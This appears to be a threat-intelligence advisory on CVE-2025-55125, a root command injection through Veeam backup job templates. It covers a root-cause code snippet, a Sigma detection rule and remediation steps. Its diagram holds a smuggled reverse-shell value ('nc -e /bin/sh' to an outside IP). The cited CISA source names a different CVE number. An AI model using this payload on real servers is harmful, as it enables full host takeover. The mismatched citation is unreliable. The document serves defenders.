CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & Replication
HERMES THREAT SCORE & JOB CONFIGURATION RISK
Target:Veeam Backup Configuration Parsing and Job Scheduling Subsystem Hermes rates CVE-2025-55125 at 86 (HIGH). The vulnerability allows non-administrative operators to achieve complete root access on Linux-based backup servers or remote proxy engines. The flaw lies directly within the job configuration template deserializer, turning restricted console access into an unconstrained host compromise.
CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & ReplicationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Metadata & Attack Surface
Section titled β1. Metadata & Attack Surfaceβ| Metric | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2025-55125 | Official NVD / MITRE tracking record |
| Vendor Advisory | Veeam KB4716 | Cumulative security update for VBR v13 |
| Affected Component | Configuration Engine / Job Template Deserializer | Job scheduling and template ingestion |
| Affected Releases | VBR 13.x $\le$ 13.0.1.180 | Linux and Windows deployments |
| Patched Release | Veeam Backup & Replication 13.0.1.1071 | Recommended remediation |
| Vulnerability Class | CWE-78: OS Command Injection | Local privilege escalation to superuser |
| Prerequisite Access | Backup Operator or Tape Operator | Low-privileged authenticated role |
| Resulting Access | root (Linux) / SYSTEM (Windows) | Complete host takeover |
2. Technical Root Cause Analysis
Section titled β2. Technical Root Cause AnalysisβApplication-aware image processing supports executing custom pre-freeze and post-thaw scripts to guarantee database and filesystem consistency.
CVE-2025-55125 Command Injection Flow:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Authenticated Operator (Backup Operator) β βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββ β Ingests crafted configuration template β ScriptPath = "/bin/true; nc -e /bin/sh 10.10.14.5 9001" βΌ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Veeam Backup Service (Executing as root) β β 1. Deserializes configuration attributes β β 2. Invocates Process.Start("/bin/sh", "-c " + path) β β 3. Omits command metacharacter filtering β βββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββ β Spawns child shell βΌ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β Interactive root shell connection dispatched to C2 β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββUnfiltered Shell Invocation
Section titled βUnfiltered Shell InvocationβWhen deserializing imported job templates, the quiescence script path was directly concatenated into the shell invocation string:
// Vulnerability pattern illustration:string scriptCommand = config.PreFreezeScript;ProcessStartInfo psi = new ProcessStartInfo("/bin/sh", "-c " + scriptCommand) { UseShellExecute = false, RedirectStandardOutput = true};Process.Start(psi);Using standard command separators (;, &&, |), any operator can break out of the intended binary path and execute arbitrary shell commands with root privileges.
3. Detection & Threat Hunting
Section titled β3. Detection & Threat HuntingβSigma Rule: Anomalous Shell Spawn by Veeam Service
Section titled βSigma Rule: Anomalous Shell Spawn by Veeam Serviceβtitle: Shell Command Injection from Veeam Backup Serviceid: cve-2025-55125-veeam-cmd-injectionstatus: experimentaldescription: Detects unexpected child shells or network utilities spawned by Veeam servicesreferences: - https://www.veeam.com/kb4716logsource: category: process_creation product: linuxdetection: selection: ParentImage|endswith: - '/veeamsvc' - '/VeeamDeploymentService' Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/nc' - '/usr/bin/python3' CommandLine|contains: - ';' - '&&' - '|' - 'nc -' condition: selectionlevel: critical4. Remediation & Hardening
Section titled β4. Remediation & Hardeningβ- Upgrade Immediately: Apply Veeam Backup & Replication 13.0.1.1071 (KB4716).
- Disable Custom Quiescence Scripts: Restrict custom script execution via global Veeam configuration policies.
- Role Segregation: Restrict job template import capabilities to primary backup administrators.
5. References
Section titled β5. Referencesβ- Official Advisory: Veeam Security Bulletin KB4716
- NIST NVD Entry: CVE-2025-55125 Detail